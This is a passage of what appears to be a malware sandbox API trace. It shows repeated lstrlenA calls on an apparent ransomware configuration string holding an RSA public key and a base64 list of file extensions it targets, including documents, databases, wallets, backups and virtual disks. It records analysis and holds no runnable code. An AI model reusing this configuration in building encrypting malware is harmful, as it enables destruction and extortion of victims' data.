cywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.462] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.462] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.462] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54